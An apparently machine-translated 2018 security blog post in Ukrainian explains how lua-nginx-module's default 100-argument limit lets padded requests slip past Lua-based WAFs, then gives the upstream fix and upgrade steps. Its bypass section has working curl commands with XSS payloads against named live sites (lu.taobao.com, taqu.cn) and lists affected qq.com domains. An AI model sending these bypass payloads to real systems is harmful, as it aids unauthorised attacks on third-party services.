|
|
Опубліковано 27.04.2018 09:23:29
|
|
|
|

Коли ginx Lua отримує параметри, перші 100 значень параметрів отримуються за замовчуванням, а решта відкидаються. Отже, WAF, що використовують Nginx Lua, будуть обходитися за замовчуванням. 20 квітня 18 квітня хтось із пасажирів охорони вже повідомив цю деталь, тому я також опублікував цю статтю 233.
Принцип
Офіційний опис виглядає так:
Зверніть увагу, що за замовчуванням розбирається максимум 100 аргументів запиту (включаючи ті, що мають таку ж назву), а додаткові аргументи запиту тихо відкидаються для запобігання потенційному Атаки відмови в обслуговуванні. За замовчуванням можна розбирати до 100 параметрів запиту (включаючи ті, що мають таку ж назву), а додаткові параметри запиту автоматично відкидаються, щоб запобігти потенційним атакам відмови в обслуговуванні.
Пошук 100, приблизно наступний метод має таку ж проблему. ngx.req.get_uri_args Отримайте параметри запиту для отримання ngx.req.get_post_args Отримайте параметри запиту для посту ngx.req.get_headers Отримайте заголовок запитів ngx.decode_args Декодувати URL параметрів ngx.resp.get_headers Отримайте заголовок відповіді У вихідному коді lua-nginx-module ми бачимо, що вихідний код встановлює параметр максимального запиту та заголовок за замовчуванням на рівні 100
#ifndef NGX_HTTP_LUA_MAX_HEADERS #define NGX_HTTP_LUA_MAX_HEADERS 100 #endif
Однак офіційна особа надає метод зміни значення за замовчуванням, наприклад, ngx.req.get_uri_args (200), щоб отримати перші 200 параметрів запиту.
Тест
Якщо параметр запиту дорівнює 101, останній параметр запиту не може бути отриманий.
Curl -v 'http://test.zbg.org/test?a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26&a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a99=99&a100=100&a=zbg'
Якщо зменшити один параметр запиту, можна отримати останній параметр запиту, коли параметри запиту рівно 100.
a77: 77
a9: 9
a43: 43
a24: 24
a52: 52
a61: 61
a35: 35
a70: 70
a78: 78
a42: 42
a53: 53
a49: 49
a87: 87
a60: 60
a58: 58
a96: 96
a14: 14
a27: 27
a15: 15
a85: 85
a36: 36
a26: 26
a41: 41
a94: 94
a37: 37
a50: 50
a63: 63
a48: 48
a72: 72
a12: 12
a29: 29
a59: 59
a38: 38
a62: 62 Відповідь: ZBG Я тебе зрозумів, zbg
Зверніть увагу, що за замовчуванням дійсно є 100 параметрів запиту, і параметри запиту після 100 параметрів запиту будуть відкинуті.
Є дивна річ, що у зворотному вмісті вище, посередині приблизної позиції, кінцевий параметр zbg вже виведений. Я припускаю, що вихід не у порядку, але порядок розбору відповідає порядку подачі параметрів, бо коли значення 101-го параметра — zbg, це значення не можна отримати.
Додається python-скрипт, який генерує параметри:
# Автор: ZBG # Пошта:zbg@zbg.org # Дата: 2018-04-03
a = '' Для I у діапазоні (200): a = a + 'a{0}={1}&'.format(i+1, i+1) Друкуйте A Ремонт Звісно, не рекомендується змінювати значення MAX параметра у вихідному коді. Бо незалежно від того, наскільки велике значення ви встановили, його можна обійти. Рекомендується встановлювати його через параметри методу. Якщо ви зможете отримати довжину параметра запиту і використати метод на кшталт ngx.req.get_uri_args (lenth), хіба цього не буде достатньо? Читаючи документацію, я з'ясував, що кількість запитуваних параметрів не вдалося отримати. Однак, якщо встановити лінію на 0, можна отримати всі запитувані параметри.
Цей аргумент можна встановити до нуля, щоб усунути обмеження та обробити всі отримані запитні аргументи. Локальні ARGS = ngx.req.get_uri_args(0)
Однак настійно не рекомендується встановлювати його на 0, щоб запобігти потенційним атакам відмови в обслуговуванні.
Знімати max_args кришку категорично не рекомендується.
Власне, мені цікаво, чому налаштування 0 може призвести до потенційної атаки відмови в обслуговуванні, і запит все одно йде до nginx, незалежно від кількості параметрів у get чи post.
Я підняв питання офіційній особі, і автор сказав, що ngx.req.get_uri_args (0) збільшить використання процесора та пам'яті сервера. Пізніше я протестував 200 параметрів і використав Nginx+php для отримання 200-го параметра, що означає, що Nginx за замовчуванням не обмежує кількість запитуваних параметрів. Тоді проблема може бути в самому Nginx Lua,Коли Nginx Lua використовує ngx.req.get_uri_args(0) для отримання всіх параметрів і ітерує їх, коли запитується багато параметрів, це споживає більше процесора та пам'яті, і зрештою навіть призводить до відмови в обслуговуванні。
03.04.2018 Bypass007 офіційно підняв ПРОБЛЕМУ щодо цього виправлення помилки і нарешті офіційно додав нову функцію на основі цієї ПРОБЛЕМИ 21.04.2018. Адреса запису фіксації цієї функції: https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd
Опис функції такий: У версіях після v0.10.13 (включаючи v0.10.13), коли обмеження кількості запитів порушується, друге повернене значення — це усічений рядок. Починаючи з версії v0.10.13, коли межа перевищується, повертається друге значення — рядок «усічено». Однак необов'язковий аргумент функції max_args можна використати для подолання цього обмеження: Місцеві ARGS, ERR = ngx.req.get_uri_args(10) якщо err == «усічено», то -- тут можна ігнорувати або відхиляти поточний запит кінець
Отже, остаточне виправлення вийшло.
Оновлення lua-nginx-module до v0.10.13 або новішої версії
Потім обмежте загальну кількість параметрів, щодо того, наскільки обмежена загальна кількість, особисто я вважаю, що 100 достатньо
OpenResty оновлює модуль lua-nginx-module
Я не знайшов жодної інформації про модуль оновлення OpenResty, тому сам розібрався, як оновити модуль lua-nginx.
Кроки такі:
Завантажте відповідну версію модуля lua-nginx-module WGET https://github.com/openresty/lua-nginx-module/releases/tag/v0.10.13 розпаковувати tar -zxvf v0.10.13 Видалити попередню версію lua-nginx-module RM -RF openresty-1.9.15.1/bundle/ngx_lua-0.10.5 Скопіюйте новий lua-nginx-модуль MV Lua-nginx-module-0.10.13 openresty-1.9.15.1/bundle/ngx_lua-0.10.13 Для компіляції дивіться параметри компіляції VeryNginx
Обхід корпусу
Слід уточнити, що наступні WAF я не впевнений, чи варто використовувати Nginx Lua, але їх можна обійти за загальною кількістю параметрів.
Алі WAF
Цей WAF — це WAF, який використовується внутрішньо Alibaba, тобто WAF, що використовується доменними іменами, такими як *.taobao.com, і не тестувався для хмарного WAF, що продається Alibaba Cloud. Спочатку запитайте POST XSS Payload для перехоплення. curl -v -d 'a=<img src=x onerror=alert(/xss/)>' lu.taobao.com За допомогою Fuzz було встановлено, що коли кількість параметрів збільшується до 478 з XSS Payload, це більше не перехоплюють, і сайт можна запустити звичайним способом. curl -v -d 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26& a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a111=111&a112=112&a113=113&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&a134=134& a135=135&a136=136&a137=137&a138=138&a139=139&a140=140&a141=141&a142=142&a143=143&a144=144&a145=145&a146=146&a147=147&a148=148&a149=149&a150=150&a151=151&a152=152&a153= 153&a154=154&a155=155&a156=156&a157=157&a158=158&a159=159&a160=160&a161=161&a162=162&a163=163&a164=164&a165=165&a166=166&a167=167&a168=168&a169=169&a170=170&a171=171& a172=172&a173=173&a174=174&a175=175&a176=176&a177=177&a178=178&a179=179&a180=180&a181=181&a182=182&a183=183&a184=184&a185=185&a186=186&a187=187&a188=188&a189=189&a190= 190&a191=191&a192=192&a193=193&a194=194&a195=195&a196=196&a197=197&a198=198&a199=199&a200=200&a201=201&a202=202&a203=203&a204=204&a205=205&a206=206&a207=207&a208=208& a209=209&a210=210&a211=211&a212=212&a213=213&a214=214&a215=215&a216=216&a217=217&a218=218&a219=219&a220=220&a221=221&a222=222&a223=223&a224=224&a225=225&a226=226&a227= 227&a228=228&a229=229&a230=230&a231=231&a232=232&a233=233&a234=234&a235=235&a236=236&a237=237&a238=238&a239=239&a240=240&a241=241&a242=242&a243=243&a244=244&a245=245& a246=246&a247=247&a248=248&a249=249&a250=250&a251=251&a252=252&a253=253&a254=254&a255=255&a256=256&a257=257&a258=258&a259=259&a260=260&a261=261&a262=262&a263=263&a264= 264&a265=265&a266=266&a267=267&a268=268&a269=269&a270=270&a271=271&a272=272&a273=273&a274=274&a275=275&a276=276&a277=277&a278=278&a279=279&a280=280&a281=281&a282=282& a283=283&a284=284&a285=285&a286=286&a287=287&a288=288&a289=289&a290=290&a291=291&a292=292&a293=293&a294=294&a295=295&a296=296&a297=297&a298=298&a299=299&a300=300&a301= 301&a302=302&a303=303&a304=304&a305=305&a306=306&a307=307&a308=308&a309=309&a310=310&a311=311&a312=312&a313=313&a314=314&a315=315&a316=316&a317=317&a318=318&a319=319& a320=320&a321=321&a322=322&a323=323&a324=324&a325=325&a326=326&a327=327&a328=328&a329=329&a330=330&a331=331&a332=332&a333=333&a334=334&a335=335&a336=336&a337=337&a338= 338&a339=339&a340=340&a341=341&a342=342&a343=343&a344=344&a345=345&a346=346&a347=347&a348=348&a349=349&a350=350&a351=351&a352=352&a353=353&a354=354&a355=355&a356=356& a357=357&a358=358&a359=359&a360=360&a361=361&a362=362&a363=363&a364=364&a365=365&a366=366&a367=367&a368=368&a369=369&a370=370&a371=371&a372=372&a373=373&a374=374&a375= 375&a376=376&a377=377&a378=378&a379=379&a380=380&a381=381&a382=382&a383=383&a384=384&a385=385&a386=386&a387=387&a388=388&a389=389&a390=390&a391=391&a392=392&a393=393& a394=394&a395=395&a396=396&a397=397&a398=398&a399=399&a400=400&a401=401&a402=402&a403=403&a404=404&a405=405&a406=406&a407=407&a408=408&a409=409&a410=410&a411=411&a412= 412&a413=413&a414=414&a415=415&a416=416&a417=417&a418=418&a419=419&a420=420&a421=421&a422=422&a423=423&a424=424&a425=425&a426=426&a427=427&a428=428&a429=429&a430=430& a431=431&a432=432&a433=433&a434=434&a435=435&a436=436&a437=437&a438=438&a439=439&a440=440&a441=441&a442=442&a443=443&a444=444&a445=445&a446=446&a447=447&a448=448&a449= 449&a450=450&a451=451&a452=452&a453=453&a454=454&a455=455&a456=456&a457=457&a458=458&a459=459&a460=460&a461=461&a462=462&a463=463&a464=464&a465=465&a466=466&a467=467& A468=468&A469=469&A470=470&A471=471&A472=472&A473=473&A474=474&a475=475&a476=476&A477=477&a=<IMG SRC=x onerror=alert(/xss/)>' lu.taobao.com
UCloud
Тестований WAF — це WAF, який продається UCloud. Коли параметр запиту збільшується до 138, він більше не блокуватиметься, і сайт буде доступний у звичайному режимі. curl -d 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26& a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a111=111&a112=112&a113=113&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&a134=134& a135=135&a136=136&a137=137&a=alert(1234)' taqu.cn
Tencent WAF
Цей WAF — це WAF, який використовує Tencent внутрішньо, тобто WAF, що використовується доменними іменами, такими як *.qq.com, і не тестувався для хмарного WAF, що продається Tencent Cloud. Коли параметр запиту збільшиться до 4000, він більше не блокуватиметься, і сайт буде доступний у звичайному режимі. Випадкові тести наступних доменів піддаються впливу. web.qq.com ke.qq.com auto.qq.com news.qq.com sports.qq.com time.qq.com
зведення
Це питання дуже просте, і ви можете його знайти, уважно прочитавши документ. Але чому я не дізнався? Думаю, це все ще занадто мало роздумів. Джерело
https://github.com/p0pr0ck5/lua-resty-waf/issues/280
https://github.com/openresty/lua-nginx-module#ngxreqget_uri_args
https://github.com/openresty/openresty/issues/358
https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd
|
Попередній:Вивчіть Photoshop з нуля, 18 уроків від новачка до богаНаступний:Сильні та слабкі сторони Lua та Luajit
|